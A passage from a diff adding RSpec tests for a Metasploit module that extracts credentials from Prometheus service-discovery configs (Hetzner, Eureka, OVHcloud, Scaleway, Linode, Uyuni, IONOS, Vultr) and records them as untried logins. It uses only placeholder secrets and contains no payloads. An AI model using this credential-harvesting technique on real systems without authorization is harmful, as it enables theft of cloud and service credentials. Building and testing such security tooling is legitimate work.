authorization' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'abcdef', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n hetzner hetzner_sd_configs abcdef hcloud\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'hetzner', + 'hetzner_sd_configs' => [ + { + 'role' => 'hcloud', + 'authorization' => { + 'credentials' => 'abcdef' + } + } + + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes hetzner_sd_configs with basic_auth' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'abcdef', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'abcdef', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n hetzner hetzner_sd_configs abcdef abcdef robot\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'hetzner', + 'hetzner_sd_configs' => [ + { + 'role' => 'robot', + 'basic_auth' => { + 'username' => 'abcdef', + 'password' => 'abcdef' + } + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes eureka_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'eureka.example.com', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 8761, + private_data: 'password', + private_type: :password, + protocol: 'tcp', + service_name: 'http', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'username', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n service-eureka eureka_sd_configs eureka.example.com 8761 username password\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'service-eureka', + 'eureka_sd_configs' => [ + { + 'server' => 'http://username:password@eureka.example.com:8761/eureka' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes ovhcloud_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'ovh-eu', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'testAppSecret', + private_type: :password, + protocol: 'tcp', + service_name: 'vps', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'testAppKey', + workspace_id: workspace.id + } + ) + + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'ovh-eu', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'testAppSecret', + private_type: :password, + protocol: 'tcp', + service_name: 'dedicated_server', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'testAppKey', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n ovhcloud ovhcloud_sd_configs ovh-eu testAppKey testAppSecret Consumer Key: testConsumerKey, Service: vps\n ovhcloud ovhcloud_sd_configs ovh-eu testAppKey testAppSecret Consumer Key: testConsumerKey, Service: dedicated_server\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'ovhcloud', + 'ovhcloud_sd_configs' => [ + { + 'service' => 'vps', + 'endpoint' => 'ovh-eu', + 'application_key' => 'testAppKey', + 'application_secret' => 'testAppSecret', + 'consumer_key' => 'testConsumerKey', + 'refresh_interval' => '1m' + }, + { + 'service' => 'dedicated_server', + 'endpoint' => 'ovh-eu', + 'application_key' => 'testAppKey', + 'application_secret' => 'testAppSecret', + 'consumer_key' => 'testConsumerKey', + 'refresh_interval' => '1m' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes scaleway_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: '11111111-1111-1111-1111-111111111111', + private_type: :password, + protocol: 'tcp', + service_name: 'instance', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'SCWXXXXXXXXXXXXXXXXX', + workspace_id: workspace.id + } + ) + + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: '11111111-1111-1111-1111-111111111111', + private_type: :password, + protocol: 'tcp', + service_name: 'baremetal', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'SCWXXXXXXXXXXXXXXXXX', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n scaleway scaleway_sd_configs SCWXXXXXXXXXXXXXXXXX 11111111-1111-1111-1111-111111111111 Project ID: 11111111-1111-1111-1111-111111111112, Role: instance\n scaleway scaleway_sd_configs SCWXXXXXXXXXXXXXXXXX 11111111-1111-1111-1111-111111111111 Project ID: 11111111-1111-1111-1111-111111111112, Role: baremetal\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'scaleway', + 'scaleway_sd_configs' => [ + { + 'role' => 'instance', + 'project_id' => '11111111-1111-1111-1111-111111111112', + 'access_key' => 'SCWXXXXXXXXXXXXXXXXX', + 'secret_key' => '11111111-1111-1111-1111-111111111111' + }, + { + 'role' => 'baremetal', + 'project_id' => '11111111-1111-1111-1111-111111111112', + 'access_key' => 'SCWXXXXXXXXXXXXXXXXX', + 'secret_key' => '11111111-1111-1111-1111-111111111111' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes linode_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'abcdef', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n linode-instances linode_sd_configs abcdef\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'linode-instances', + 'linode_sd_configs' => [ + { + 'authorization' => { + 'credentials' => 'abcdef' + } + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes uyuni_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: 'localhost', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: 1234, + private_data: 'hole', + private_type: :password, + protocol: 'tcp', + service_name: 'https', + status: Metasploit::Model::Login::Status::UNTRIED, + username: 'gopher', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n uyuni uyuni_sd_configs localhost 1234 gopher hole\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'uyuni', + 'uyuni_sd_configs' => [ + { + 'server' => 'https://localhost:1234', + 'username' => 'gopher', + 'password' => 'hole' + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes ionos_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'abcdef', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '8feda53f-15f0-447f-badf-ebe32dad2fc0', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n ionos ionos_sd_configs 8feda53f-15f0-447f-badf-ebe32dad2fc0 abcdef\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'ionos', + 'ionos_sd_configs' => [ + { + 'datacenter_id' => '8feda53f-15f0-447f-badf-ebe32dad2fc0', + 'authorization' => { + 'credentials' => 'abcdef' + } + } + ] + }, + ] + ) + ) + end + end + + context 'prometheus_config_eater correctly processes vultr_sd_configs' do + before(:example) do + expect(aux_prometheus).to receive(:myworkspace).at_least(:once).and_return(workspace) + end + + it 'stores creds and prints a table' do + expect(aux_prometheus).to receive(:create_credential_and_login).with( + { + address: '', + module_fullname: 'auxiliary/gather/prometheus', + origin_type: :service, + port: '', + private_data: 'abcdef', + private_type: :password, + protocol: 'tcp', + service_name: '', + status: Metasploit::Model::Login::Status::UNTRIED, + username: '', + workspace_id: workspace.id + } + ) + expect(aux_prometheus).to receive(:print_good).with("Credentials\n===========\n\n Name Config Host Port Public/Username Private/Password/Token Notes\n ---- ------ ---- ---- --------------- ---------------------- -----\n vultr vultr_sd_configs abcdef\n") + + aux_prometheus.prometheus_config_eater( + config_wrapper( + [ + { + 'job_name' => 'vultr', + 'vultr_sd_configs' => [ + { + 'authorization' => { + 'credentials' => 'abcdef' + } + } + ] + } + ] + ) + ) + end + end + end +end